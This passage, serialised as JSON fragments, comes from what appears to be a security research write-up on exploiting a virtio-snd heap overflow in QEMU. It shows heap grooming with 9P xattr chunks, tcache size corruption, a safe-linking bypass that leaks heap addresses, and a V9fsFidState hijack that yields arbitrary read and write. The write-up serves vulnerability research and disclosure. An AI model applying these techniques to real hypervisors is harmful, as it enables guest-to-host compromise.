buffer->size))\n",[130876],{"type":23,"tag":71,"props":130877,"children":130878},{"__ignoreMap":7},[130879],{"type":29,"value":130874},{"type":23,"tag":32,"props":130881,"children":130882},{},[130883,130885,130890,130892,130897],{"type":29,"value":130884},"And as mentioned earlier, ",{"type":23,"tag":71,"props":130886,"children":130888},{"className":130887},[],[130889],{"type":29,"value":127420},{"type":29,"value":130891}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":23,"tag":71,"props":130893,"children":130895},{"className":130894},[],[130896],{"type":29,"value":126039},{"type":29,"value":60100},{"type":23,"tag":32,"props":130899,"children":130900},{},[130901,130903,130908,130910,130915],{"type":29,"value":130902},"With the desired heap layout of repeated ",{"type":23,"tag":71,"props":130904,"children":130906},{"className":130905},[],[130907],{"type":29,"value":129593},{"type":29,"value":130909},"-sized ",{"type":23,"tag":71,"props":130911,"children":130913},{"className":130912},[],[130914],{"type":29,"value":129691},{"type":29,"value":130916}," chunks in place, we can then free every other one:",{"type":23,"tag":220,"props":130918,"children":130920},{"code":130919},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[130921],{"type":23,"tag":71,"props":130922,"children":130923},{"__ignoreMap":7},[130924],{"type":29,"value":130919},{"type":23,"tag":32,"props":130926,"children":130927},{},[130928,130930,130935],{"type":29,"value":130929},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":23,"tag":71,"props":130931,"children":130933},{"className":130932},[],[130934],{"type":29,"value":129691},{"type":29,"value":130936}," chunk directly next to it:",{"type":23,"tag":220,"props":130938,"children":130940},{"code":130939},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[130941],{"type":23,"tag":71,"props":130942,"children":130943},{"__ignoreMap":7},[130944],{"type":29,"value":130939},{"type":23,"tag":32,"props":130946,"children":130947},{},[130948,130950,130955,130957,130962],{"type":29,"value":130949},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":23,"tag":71,"props":130951,"children":130953},{"className":130952},[],[130954],{"type":29,"value":129593},{"type":29,"value":130956},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":23,"tag":71,"props":130958,"children":130960},{"className":130959},[],[130961],{"type":29,"value":129691},{"type":29,"value":130963}," chunk now has a corrupted and likely oversized size field:",{"type":23,"tag":220,"props":130965,"children":130967},{"code":130966},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[130968],{"type":23,"tag":71,"props":130969,"children":130970},{"__ignoreMap":7},[130971],{"type":29,"value":130966},{"type":23,"tag":32,"props":130973,"children":130974},{},[130975,130977,130982],{"type":29,"value":130976},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":23,"tag":71,"props":130978,"children":130980},{"className":130979},[],[130981],{"type":29,"value":129608},{"type":29,"value":218},{"type":23,"tag":220,"props":130984,"children":130986},{"code":130985},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[130987],{"type":23,"tag":71,"props":130988,"children":130989},{"__ignoreMap":7},[130990],{"type":29,"value":130985},{"type":23,"tag":32,"props":130992,"children":130993},{},[130994,130996,131001],{"type":29,"value":130995},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":23,"tag":71,"props":130997,"children":130999},{"className":130998},[],[131000],{"type":29,"value":129608},{"type":29,"value":23057},{"type":23,"tag":220,"props":131003,"children":131005},{"code":131004},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[131006],{"type":23,"tag":71,"props":131007,"children":131008},{"__ignoreMap":7},[131009],{"type":29,"value":131004},{"type":23,"tag":32,"props":131011,"children":131012},{},[131013,131015,131021],{"type":29,"value":131014},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":23,"tag":71,"props":131016,"children":131018},{"className":131017},[],[131019],{"type":29,"value":131020},"0x400",{"type":29,"value":131022}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":23,"tag":220,"props":131024,"children":131026},{"code":131025},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[131027],{"type":23,"tag":71,"props":131028,"children":131029},{"__ignoreMap":7},[131030],{"type":29,"value":131025},{"type":23,"tag":59,"props":131032,"children":131034},{"id":131033},"leaking-a-heap-address",[131035],{"type":29,"value":131036},"Leaking a Heap Address",{"type":23,"tag":32,"props":131038,"children":131039},{},[131040],{"type":29,"value":131041},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":23,"tag":32,"props":131043,"children":131044},{},[131045,131047,131053],{"type":29,"value":131046},"To do this, we abuse the forward (",{"type":23,"tag":71,"props":131048,"children":131050},{"className":131049},[],[131051],{"type":29,"value":131052},"fd",{"type":29,"value":131054},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":23,"tag":220,"props":131056,"children":131058},{"code":131057},"fd = next ^ (curr >> 12)\n",[131059],{"type":23,"tag":71,"props":131060,"children":131061},{"__ignoreMap":7},[131062],{"type":29,"value":131057},{"type":23,"tag":32,"props":131064,"children":131065},{},[131066,131068,131073,131074,131079],{"type":29,"value":131067},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":23,"tag":71,"props":131069,"children":131071},{"className":131070},[],[131072],{"type":29,"value":59339},{"type":29,"value":7840},{"type":23,"tag":71,"props":131075,"children":131077},{"className":131076},[],[131078],{"type":29,"value":56269},{"type":29,"value":131080}," because there is no following entry. In that case, the encoding becomes:",{"type":23,"tag":220,"props":131082,"children":131084},{"code":131083},"fd = 0 ^ (curr >> 12)\n",[131085],{"type":23,"tag":71,"props":131086,"children":131087},{"__ignoreMap":7},[131088],{"type":29,"value":131083},{"type":23,"tag":32,"props":131090,"children":131091},{},[131092,131094,131099],{"type":29,"value":131093},"So if we free a single chunk into an empty tcache bin, its ",{"type":23,"tag":71,"props":131095,"children":131097},{"className":131096},[],[131098],{"type":29,"value":131052},{"type":29,"value":131100}," field is effectively just the chunk address shifted right by 12.",{"type":23,"tag":32,"props":131102,"children":131103},{},[131104],{"type":29,"value":131105},"In the overlap we achieved earlier:",{"type":23,"tag":220,"props":131107,"children":131109},{"code":131108},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[131110],{"type":23,"tag":71,"props":131111,"children":131112},{"__ignoreMap":7},[131113],{"type":29,"value":131108},{"type":23,"tag":32,"props":131115,"children":131116},{},[131117,131119,131125,131127,131133,131135,131141,131143,131148],{"type":29,"value":131118},"We first free ",{"type":23,"tag":71,"props":131120,"children":131122},{"className":131121},[],[131123],{"type":29,"value":131124},".value C",{"type":29,"value":131126}," into tcache and read its contents through the oversized ",{"type":23,"tag":71,"props":131128,"children":131130},{"className":131129},[],[131131],{"type":29,"value":131132},".value Y",{"type":29,"value":131134},". This gives us ",{"type":23,"tag":71,"props":131136,"children":131138},{"className":131137},[],[131139],{"type":29,"value":131140},".value C >> 12",{"type":29,"value":131142},". That is not yet the exact address of ",{"type":23,"tag":71,"props":131144,"children":131146},{"className":131145},[],[131147],{"type":29,"value":131124},{"type":29,"value":131149},", since the lower 12 bits are lost.",{"type":23,"tag":32,"props":131151,"children":131152},{},[131153,131155,131160,131162,131167,131169,131174,131176,131181],{"type":29,"value":131154},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":23,"tag":71,"props":131156,"children":131158},{"className":131157},[],[131159],{"type":29,"value":131124},{"type":29,"value":131161},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":23,"tag":71,"props":131163,"children":131165},{"className":131164},[],[131166],{"type":29,"value":131124},{"type":29,"value":131168}," again. This time, ",{"type":23,"tag":71,"props":131170,"children":131172},{"className":131171},[],[131173],{"type":29,"value":59339},{"type":29,"value":131175}," is no longer ",{"type":23,"tag":71,"props":131177,"children":131179},{"className":131178},[],[131180],{"type":29,"value":56269},{"type":29,"value":131182},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":23,"tag":220,"props":131184,"children":131185},{"code":131057},[131186],{"type":23,"tag":71,"props":131187,"children":131188},{"__ignoreMap":7},[131189],{"type":29,"value":131057},{"type":23,"tag":32,"props":131191,"children":131192},{},[131193,131195,131201,131203,131208,131210,131215,131217,131222],{"type":29,"value":131194},"Since we already know ",{"type":23,"tag":71,"props":131196,"children":131198},{"className":131197},[],[131199],{"type":29,"value":131200},"curr >> 12",{"type":29,"value":131202}," from the first leak, we can read the new ",{"type":23,"tag":71,"props":131204,"children":131206},{"className":131205},[],[131207],{"type":29,"value":131052},{"type":29,"value":131209}," value from ",{"type":23,"tag":71,"props":131211,"children":131213},{"className":131212},[],[131214],{"type":29,"value":131124},{"type":29,"value":131216}," and recover the exact address of ",{"type":23,"tag":71,"props":131218,"children":131220},{"className":131219},[],[131221],{"type":29,"value":59339},{"type":29,"value":131223}," by reversing the XOR:",{"type":23,"tag":220,"props":131225,"children":131227},{"code":131226},"next = fd ^ (curr >> 12)\n",[131228],{"type":23,"tag":71,"props":131229,"children":131230},{"__ignoreMap":7},[131231],{"type":29,"value":131226},{"type":23,"tag":32,"props":131233,"children":131234},{},[131235],{"type":29,"value":131236},"This gives us the exact address of a heap chunk whose contents we control.",{"type":23,"tag":59,"props":131238,"children":131240},{"id":131239},"arbitrary-read-and-write",[131241],{"type":29,"value":131242},"Arbitrary Read and Write",{"type":23,"tag":32,"props":131244,"children":131245},{},[131246,131248,131253],{"type":29,"value":131247},"Having a controlled chunk at a known address lets us repurpose ",{"type":23,"tag":71,"props":131249,"children":131251},{"className":131250},[],[131252],{"type":29,"value":131124},{"type":29,"value":131254}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":23,"tag":32,"props":131256,"children":131257},{},[131258,131260,131265],{"type":29,"value":131259},"Recall ",{"type":23,"tag":71,"props":131261,"children":131263},{"className":131262},[],[131264],{"type":29,"value":129728},{"type":29,"value":218},{"type":23,"tag":220,"props":131267,"children":131269},{"code":131268,"language":2148,"meta":7,"className":18839,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[131270],{"type":23,"tag":71,"props":131271,"children":131272},{"__ignoreMap":7},[131273,131312,131319,131330,131345,131360,131367,131374,131381,131403,131410,131417,131424,131432,131449,131488,131531,131538],{"type":23,"tag":230,"props":131274,"children":131275},{"class":232,"line":233},[131276,131280,131284,131288,131292,131296,131300,131304,131308],{"type":23,"tag":230,"props":131277,"children":131278},{"style":256},[131279],{"type":29,"value":52817},{"type":23,"tag":230,"props":131281,"children":131282},{"style":256},[131283],{"type":29,"value":52822},{"type":23,"tag":230,"props":131285,"children":131286},{"style":274},[131287],{"type":29,"value":129723},{"type":23,"tag":230,"props":131289,"children":131290},{"style":294},[131291],{"type":29,"value":129728},{"type":23,"tag":230,"props":131293,"children":131294},{"style":274},[131295],{"type":29,"value":302},{"type":23,"tag":230,"props":131297,"children":131298},{"style":256},[131299],{"type":29,"value":53400},{"type":23,"tag":230,"props":131301,"children":131302},{"style":268},[131303],{"type":29,"value":12147},{"type":23,"tag":230,"props":131305,"children":131306},{"style":262},[131307],{"type":29,"value":129745},{"type":23,"tag":230,"props":131309,"children":131310},{"style":274},[131311],{"type":29,"value":4516},{"type":23,"tag":230,"props":131313,"children":131314},{"class":232,"line":243},[131315],{"type":23,"tag":230,"props":131316,"children":131317},{"style":274},[131318],{"type":29,"value":13211},{"type":23,"tag":230,"props":131320,"children":131321},{"class":232,"line":252},[131322,131326],{"type":23,"tag":230,"props":131323,"children":131324},{"style":256},[131325],{"type":29,"value":57386},{"type":23,"tag":230,"props":131327,"children":131328},{"style":274},[131329],{"type":29,"value":126381},{"type":23,"tag":230,"props":131331,"children":131332},{"class":232,"line":280},[131333,131337,131341],{"type":23,"tag":230,"props":131334,"children":131335},{"style":274},[131336],{"type":29,"value":129870},{"type":23,"tag":230,"props":131338,"children":131339},{"style":268},[131340],{"type":29,"value":6909},{"type":23,"tag":230,"props":131342,"children":131343},{"style":274},[131344],{"type":29,"value":129879},{"type":23,"tag":230,"props":131346,"children":131347},{"class":232,"line":334},[131348,131352,131356],{"type":23,"tag":230,"props":131349,"children":131350},{"style":274},[131351],{"type":29,"value":129870},{"type":23,"tag":230,"props":131353,"children":131354},{"style":268},[131355],{"type":29,"value":6909},{"type":23,"tag":230,"props":131357,"children":131358},{"style":274},[131359],{"type":29,"value":129895},{"type":23,"tag":230,"props":131361,"children":131362},{"class":232,"line":371},[131363],{"type":23,"tag":230,"props":131364,"children":131365},{"emptyLinePlaceholder":18},[131366],{"type":29,"value":459},{"type":23,"tag":230,"props":131368,"children":131369},{"class":232,"line":391},[131370],{"type":23,"tag":230,"props":131371,"children":131372},{"style":274},[131373],{"type":29,"value":106580},{"type":23,"tag":230,"props":131375,"children":131376},{"class":232,"line":400},[131377],{"type":23,"tag":230,"props":131378,"children":131379},{"emptyLinePlaceholder":18},[131380],{"type":29,"value":459},{"type":23,"tag":230,"props":131382,"children":131383},{"class":232,"line":444},[131384,131389,131393,131398],{"type":23,"tag":230,"props":131385,"children":131386},{"style":274},[131387],{"type":29,"value":131388},"    file_fidp ",{"type":23,"tag":230,"props":131390,"children":131391},{"style":268},[131392],{"type":29,"value":863},{"type":23,"tag":230,"props":131394,"children":131395},{"style":294},[131396],{"type":29,"value":131397}," get_fid",{"type":23,"tag":230,"props":131399,"children":131400},{"style":274},[131401],{"type":29,"value":131402},"(pdu, fid);\n",{"type":23,"tag":230,"props":131404,"children":131405},{"class":232,"line":453},[131406],{"type":23,"tag":230,"props":131407,"children":131408},{"emptyLinePlaceholder":18},[131409],{"type":29,"value":459},{"type":23,"tag":230,"props":131411,"children":131412},{"class":232,"line":462},[131413],{"type":23,"tag":230,"props":131414,"children":131415},{"style":274},[131416],{"type":29,"value":106580},{"type":23,"tag":230,"props":131418,"children":131419},{"class":232,"line":471},[131420],{"type":23,"tag":230,"props":131421,"children":131422},{"emptyLinePlaceholder":18},[131423],{"type":29,"value":459},{"type":23,"tag":230,"props":131425,"children":131426},{"class":232,"line":500},[131427],{"type":23,"tag":230,"props":131428,"children":131429},{"style":237},[131430],{"type":29,"value":131431},"    /* Make the file fid point to xattr */\n",{"type":23,"tag":230,"props":131433,"children":131434},{"class":232,"line":514},[131435,131440,131444],{"type":23,"tag":230,"props":131436,"children":131437},{"style":274},[131438],{"type":29,"value":131439},"    xattr_fidp ",{"type":23,"tag":230,"props":131441,"children":131442},{"style":268},[131443],{"type":29,"value":863},{"type":23,"tag":230,"props":131445,"children":131446},{"style":274},[131447],{"type":29,"value":131448}," file_fidp;\n",{"type":23,"tag":230,"props":131450,"children":131451},{"class":232,"line":897},[131452,131456,131460,131464,131468,131472,131476,131480,131484],{"type":23,"tag":230,"props":131453,"children":131454},{"style":262},[131455],{"type":29,"value":130273},{"type":23,"tag":230,"props":131457,"children":131458},{"style":274},[131459],{"type":29,"value":16084},{"type":23,"tag":230,"props":131461,"children":131462},{"style":262},[131463],{"type":29,"value":1655},{"type":23,"tag":230,"props":131465,"children":131466},{"style":274},[131467],{"type":29,"value":312},{"type":23,"tag":230,"props":131469,"children":131470},{"style":262},[131471],{"type":29,"value":130197},{"type":23,"tag":230,"props":131473,"children":131474},{"style":274},[131475],{"type":29,"value":312},{"type":23,"tag":230,"props":131477,"children":131478},{"style":262},[131479],{"type":29,"value":11471},{"type":23,"tag":230,"props":131481,"children":131482},{"style":268},[131483],{"type":29,"value":271},{"type":23,"tag":230,"props":131485,"children":131486},{"style":274},[131487],{"type":29,"value":126381},{"type":23,"tag":230,"props":131489,"children":131490},{"class":232,"line":960},[131491,131495,131499,131503,131507,131511,131515,131519,131523,131527],{"type":23,"tag":230,"props":131492,"children":131493},{"style":262},[131494],{"type":29,"value":130273},{"type":23,"tag":230,"props":131496,"children":131497},{"style":274},[131498],{"type":29,"value":16084},{"type":23,"tag":230,"props":131500,"children":131501},{"style":262},[131502],{"type":29,"value":1655},{"type":23,"tag":230,"props":131504,"children":131505},{"style":274},[131506],{"type":29,"value":312},{"type":23,"tag":230,"props":131508,"children":131509},{"style":262},[131510],{"type":29,"value":130197},{"type":23,"tag":230,"props":131512,"children":131513},{"style":274},[131514],{"type":29,"value":312},{"type":23,"tag":230,"props":131516,"children":131517},{"style":262},[131518],{"type":29,"value":3856},{"type":23,"tag":230,"props":131520,"children":131521},{"style":268},[131522],{"type":29,"value":271},{"type":23,"tag":230,"props":131524,"children":131525},{"style":294},[131526],{"type":29,"value":125952},{"type":23,"tag":230,"props":131528,"children":131529},{"style":274},[131530],{"type":29,"value":130310},{"type":23,"tag":230,"props":131532,"children":131533},{"class":232,"line":969},[131534],{"type":23,"tag":230,"props":131535,"children":131536},{"emptyLinePlaceholder":18},[131537],{"type":29,"value":459},{"type":23,"tag":230,"props":131539,"children":131540},{"class":232,"line":4526},[131541],{"type":23,"tag":230,"props":131542,"children":131543},{"style":274},[131544],{"type":29,"value":106580},{"type":23,"tag":32,"props":131546,"children":131547},{},[131548,131550,131556,131558,131563,131564,131569,131571,131576,131578,131584,131585,131591,131593,131598,131599,131604],{"type":29,"value":131549},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":23,"tag":71,"props":131551,"children":131553},{"className":131552},[],[131554],{"type":29,"value":131555},"V9fsFidState",{"type":29,"value":131557}," object. In other words, if we can place a ",{"type":23,"tag":71,"props":131559,"children":131561},{"className":131560},[],[131562],{"type":29,"value":131555},{"type":29,"value":9658},{"type":23,"tag":71,"props":131565,"children":131567},{"className":131566},[],[131568],{"type":29,"value":131124},{"type":29,"value":131570}," currently sits, the overlapping ",{"type":23,"tag":71,"props":131572,"children":131574},{"className":131573},[],[131575],{"type":29,"value":131132},{"type":29,"value":131577}," chunk can overwrite ",{"type":23,"tag":71,"props":131579,"children":131581},{"className":131580},[],[131582],{"type":29,"value":131583},"V9fsFidState.fs.xattr.value",{"type":29,"value":112},{"type":23,"tag":71,"props":131586,"children":131588},{"className":131587},[],[131589],{"type":29,"value":131590},"V9fsFidState.fs.xattr.len",{"type":29,"value":131592},". That would immediately give us arbitrary read and write through ",{"type":23,"tag":71,"props":131594,"children":131596},{"className":131595},[],[131597],{"type":29,"value":130386},{"type":29,"value":112},{"type":23,"tag":71,"props":131600,"children":131602},{"className":131601},[],[131603],{"type":29,"value":130378},{"type":29,"value":312},{"type":23,"tag":32,"props":131606,"children":131607},{},[131608,131610,131615,131616,131621,131623,131628,131630,131636,131638,131643,131645,131650,131652,131657,131659,131664,131666,131671],{"type":29,"value":131609},"At this point, ",{"type":23,"tag":71,"props":131611,"children":131613},{"className":131612},[],[131614],{"type":29,"value":131124},{"type":29,"value":17768},{"type":23,"tag":71,"props":131617,"children":131619},{"className":131618},[],[131620],{"type":29,"value":129593},{"type":29,"value":131622}," chunk, while ",{"type":23,"tag":71,"props":131624,"children":131626},{"className":131625},[],[131627],{"type":29,"value":131555},{"type":29,"value":131629}," falls into the ",{"type":23,"tag":71,"props":131631,"children":131633},{"className":131632},[],[131634],{"type":29,"value":131635},"0x120",{"type":29,"value":131637}," size class. Before freeing ",{"type":23,"tag":71,"props":131639,"children":131641},{"className":131640},[],[131642],{"type":29,"value":131124},{"type":29,"value":131644},", we therefore use the oversized ",{"type":23,"tag":71,"props":131646,"children":131648},{"className":131647},[],[131649],{"type":29,"value":131132},{"type":29,"value":131651}," chunk to change its size to match ",{"type":23,"tag":71,"props":131653,"children":131655},{"className":131654},[],[131656],{"type":29,"value":131555},{"type":29,"value":131658},". Once ",{"type":23,"tag":71,"props":131660,"children":131662},{"className":131661},[],[131663],{"type":29,"value":131124},{"type":29,"value":131665}," is freed, it is inserted into the ",{"type":23,"tag":71,"props":131667,"children":131669},{"className":131668},[],[131670],{"type":29,"value":131635},{"type":29,"value":131672}," tcache bin.",{"type":23,"tag":220,"props":131674,"children":131676},{"code":131675},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[131677],{"type":23,"tag":71,"props":131678,"children":131679},{"__ignoreMap":7},[131680],{"type":29,"value":131675},{"type":23,"tag":32,"props":131682,"children":131683},{},[131684,131686,131691,131693,131699,131701,131707,131709,131714],{"type":29,"value":131685},"After that, we can simply allocate a new ",{"type":23,"tag":71,"props":131687,"children":131689},{"className":131688},[],[131690],{"type":29,"value":131555},{"type":29,"value":131692}," with a ",{"type":23,"tag":71,"props":131694,"children":131696},{"className":131695},[],[131697],{"type":29,"value":131698},"P9_TWALK",{"type":29,"value":131700}," request and a fresh FID - this reaches ",{"type":23,"tag":71,"props":131702,"children":131704},{"className":131703},[],[131705],{"type":29,"value":131706},"alloc_fid",{"type":29,"value":131708},", which allocates a new ",{"type":23,"tag":71,"props":131710,"children":131712},{"className":131711},[],[131713],{"type":29,"value":131555},{"type":29,"value":218},{"type":23,"tag":220,"props":131716,"children":131718},{"code":131717,"language":2148,"meta":7,"className":18839,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    [...]\n",[131719],{"type":23,"tag":71,"props":131720,"children":131721},{"__ignoreMap":7},[131722,131762,131769,131785,131813,131820,131827,131834,131855,131862,131877,131899,131923,131944,131955,131962,132000,132042,132049,132056,132063,132070,132077,132128,132135,132150,132157,132205,132217,132225,132254,132269,132276,132305,132312],{"type":23,"tag":230,"props":131723,"children":131724},{"class":232,"line":233},[131725,131729,131733,131737,131742,131746,131750,131754,131758],{"type":23,"tag":230,"props":131726,"children":131727},{"style":256},[131728],{"type":29,"value":52817},{"type":23,"tag":230,"props":131730,"children":131731},{"style":256},[131732],{"type":29,"value":52822},{"type":23,"tag":230,"props":131734,"children":131735},{"style":274},[131736],{"type":29,"value":129723},{"type":23,"tag":230,"props":131738,"children":131739},{"style":294},[131740],{"type":29,"value":131741},"v9fs_walk",{"type":23,"tag":230,"props":131743,"children":131744},{"style":274},[131745],{"type":29,"value":302},{"type":23,"tag":230,"props":131747,"children":131748},{"style":256},[131749],{"type":29,"value":53400},{"type":23,"tag":230,"props":131751,"children":131752},{"style":268},[131753],{"type":29,"value":12147},{"type":23,"tag":230,"props":131755,"children":131756},{"style":262},[131757],{"type":29,"value":129745},{"type":23,"tag":230,"props":131759,"children":131760},{"style":274},[131761],{"type":29,"value":4516},{"type":23,"tag":230,"props":131763,"children":131764},{"class":232,"line":243},[131765],{"type":23,"tag":230,"props":131766,"children":131767},{"style":274},[131768],{"type":29,"value":13211},{"type":23,"tag":230,"props":131770,"children":131771},{"class":232,"line":252},[131772,131776,131780],{"type":23,"tag":230,"props":131773,"children":131774},{"style":274},[131775],{"type":29,"value":129870},{"type":23,"tag":230,"props":131777,"children":131778},{"style":268},[131779],{"type":29,"value":6909},{"type":23,"tag":230,"props":131781,"children":131782},{"style":274},[131783],{"type":29,"value":131784},"fidp;\n",{"type":23,"tag":230,"props":131786,"children":131787},{"class":232,"line":280},[131788,131792,131796,131801,131805,131809],{"type":23,"tag":230,"props":131789,"children":131790},{"style":274},[131791],{"type":29,"value":129870},{"type":23,"tag":230,"props":131793,"children":131794},{"style":268},[131795],{"type":29,"value":6909},{"type":23,"tag":230,"props":131797,"children":131798},{"style":274},[131799],{"type":29,"value":131800},"newfidp ",{"type":23,"tag":230,"props":131802,"children":131803},{"style":268},[131804],{"type":29,"value":863},{"type":23,"tag":230,"props":131806,"children":131807},{"style":256},[131808],{"type":29,"value":129549},{"type":23,"tag":230,"props":131810,"children":131811},{"style":274},[131812],{"type":29,"value":511},{"type":23,"tag":230,"props":131814,"children":131815},{"class":232,"line":334},[131816],{"type":23,"tag":230,"props":131817,"children":131818},{"emptyLinePlaceholder":18},[131819],{"type":29,"value":459},{"type":23,"tag":230,"props":131821,"children":131822},{"class":232,"line":371},[131823],{"type":23,"tag":230,"props":131824,"children":131825},{"style":274},[131826],{"type":29,"value":106580},{"type":23,"tag":230,"props":131828,"children":131829},{"class":232,"line":391},[131830],{"type":23,"tag":230,"props":131831,"children":131832},{"emptyLinePlaceholder":18},[131833],{"type":29,"value":459},{"type":23,"tag":230,"props":131835,"children":131836},{"class":232,"line":400},[131837,131841,131846,131850],{"type":23,"tag":230,"props":131838,"children":131839},{"style":866},[131840],{"type":29,"value":1493},{"type":23,"tag":230,"props":131842,"children":131843},{"style":274},[131844],{"type":29,"value":131845}," (fid ",{"type":23,"tag":230,"props":131847,"children":131848},{"style":268},[131849],{"type":29,"value":10911},{"type":23,"tag":230,"props":131851,"children":131852},{"style":274},[131853],{"type":29,"value":131854}," newfid) {\n",{"type":23,"tag":230,"props":131856,"children":131857},{"class":232,"line":444},[131858],{"type":23,"tag":230,"props":131859,"children":131860},{"style":274},[131861],{"type":29,"value":125818},{"type":23,"tag":230,"props":131863,"children":131864},{"class":232,"line":453},[131865,131869,131873],{"type":23,"tag":230,"props":131866,"children":131867},{"style":274},[131868],{"type":29,"value":18103},{"type":23,"tag":230,"props":131870,"children":131871},{"style":866},[131872],{"type":29,"value":5654},{"type":23,"tag":230,"props":131874,"children":131875},{"style":274},[131876],{"type":29,"value":277},{"type":23,"tag":230,"props":131878,"children":131879},{"class":232,"line":462},[131880,131885,131889,131894],{"type":23,"tag":230,"props":131881,"children":131882},{"style":274},[131883],{"type":29,"value":131884},"        newfidp ",{"type":23,"tag":230,"props":131886,"children":131887},{"style":268},[131888],{"type":29,"value":863},{"type":23,"tag":230,"props":131890,"children":131891},{"style":294},[131892],{"type":29,"value":131893}," alloc_fid",{"type":23,"tag":230,"props":131895,"children":131896},{"style":274},[131897],{"type":29,"value":131898},"(s, newfid);\n",{"type":23,"tag":230,"props":131900,"children":131901},{"class":232,"line":471},[131902,131906,131911,131915,131919],{"type":23,"tag":230,"props":131903,"children":131904},{"style":866},[131905],{"type":29,"value":5611},{"type":23,"tag":230,"props":131907,"children":131908},{"style":274},[131909],{"type":29,"value":131910}," (newfidp ",{"type":23,"tag":230,"props":131912,"children":131913},{"style":268},[131914],{"type":29,"value":10911},{"type":23,"tag":230,"props":131916,"children":131917},{"style":256},[131918],{"type":29,"value":129549},{"type":23,"tag":230,"props":131920,"children":131921},{"style":274},[131922],{"type":29,"value":827},{"type":23,"tag":230,"props":131924,"children":131925},{"class":232,"line":500},[131926,131931,131935,131939],{"type":23,"tag":230,"props":131927,"children":131928},{"style":274},[131929],{"type":29,"value":131930},"            err 